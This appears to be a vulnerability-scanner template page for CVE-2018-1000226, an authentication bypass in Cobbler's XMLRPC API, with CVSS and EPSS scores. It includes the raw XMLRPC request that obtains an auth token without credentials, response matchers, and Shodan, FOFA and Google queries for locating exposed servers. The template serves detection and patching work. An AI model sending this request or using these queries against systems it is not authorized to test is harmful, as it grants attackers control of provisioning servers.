7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.013 Low
EPSS
Percentile
86.0%
Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via “network connectivity”. Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.
id: CVE-2018-1000226
info:
name: Cobbler - Authentication Bypass
author: c-sh0
severity: critical
description: Cobbler versions 2.6.11+, but code inspection suggests at least 2.0.0+ and possibly even older versions, may be vulnerable to an authentication bypass vulnerability in XMLRPC API (/cobbler_api) that can result in privilege escalation, data manipulation or exfiltration, and LDAP credential harvesting. This attack appear to be exploitable via "network connectivity". Taking advantage of improper validation of security tokens in API endpoints. Please note this is a different issue than CVE-2018-10931.
remediation: |
Apply the latest security patches or updates provided by the vendor to fix the authentication bypass vulnerability in Cobbler.
reference:
- https://github.com/cobbler/cobbler/issues/1916
- https://movermeyer.com/2018-08-02-privilege-escalation-exploits-in-cobblers-api/
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000226
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2018-1000226
cwe-id: CWE-732
epss-score: 0.01309
epss-percentile: 0.85899
cpe: cpe:2.3:a:cobblerd:cobbler:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cobblerd
product: cobbler
shodan-query: http.title:"cobbler web interface"
fofa-query: title="cobbler web interface"
google-query: intitle:"cobbler web interface"
tags: cve2018,cve,cobbler,auth-bypass,cobblerd
http:
- raw:
- |
POST {{BaseURL}}/cobbler_api HTTP/1.1
Host: {{Hostname}}
Content-Type: text/xml
<?xml version='1.0'?>
<methodCall>
<methodName>_CobblerXMLRPCInterface__make_token</methodName>
<params>
<param>
<value>
<string>cobbler</string>
</value>
</param>
</params>
</methodCall>
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(body), '<name>faultCode</name>')"
- type: word
part: header
words:
- "Content-Type: text/xml"
- type: word
part: body
words:
- "<methodResponse>"
- type: regex
part: body
regex:
- "(.*[a-zA-Z0-9].+==)</string></value>"
- type: status
status:
- 200
# digest: 4a0a004730450220609deac75fd737e3a2aa1b519296137b11cc191a9d5547b71acb4e8306dd4d73022100d47122768361558b11c3f427fb14b94d25b8186bdd1d3861421e95da2b1b8308:922c64590222798bb761d5b6d8e72950
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.013 Low
EPSS
Percentile
86.0%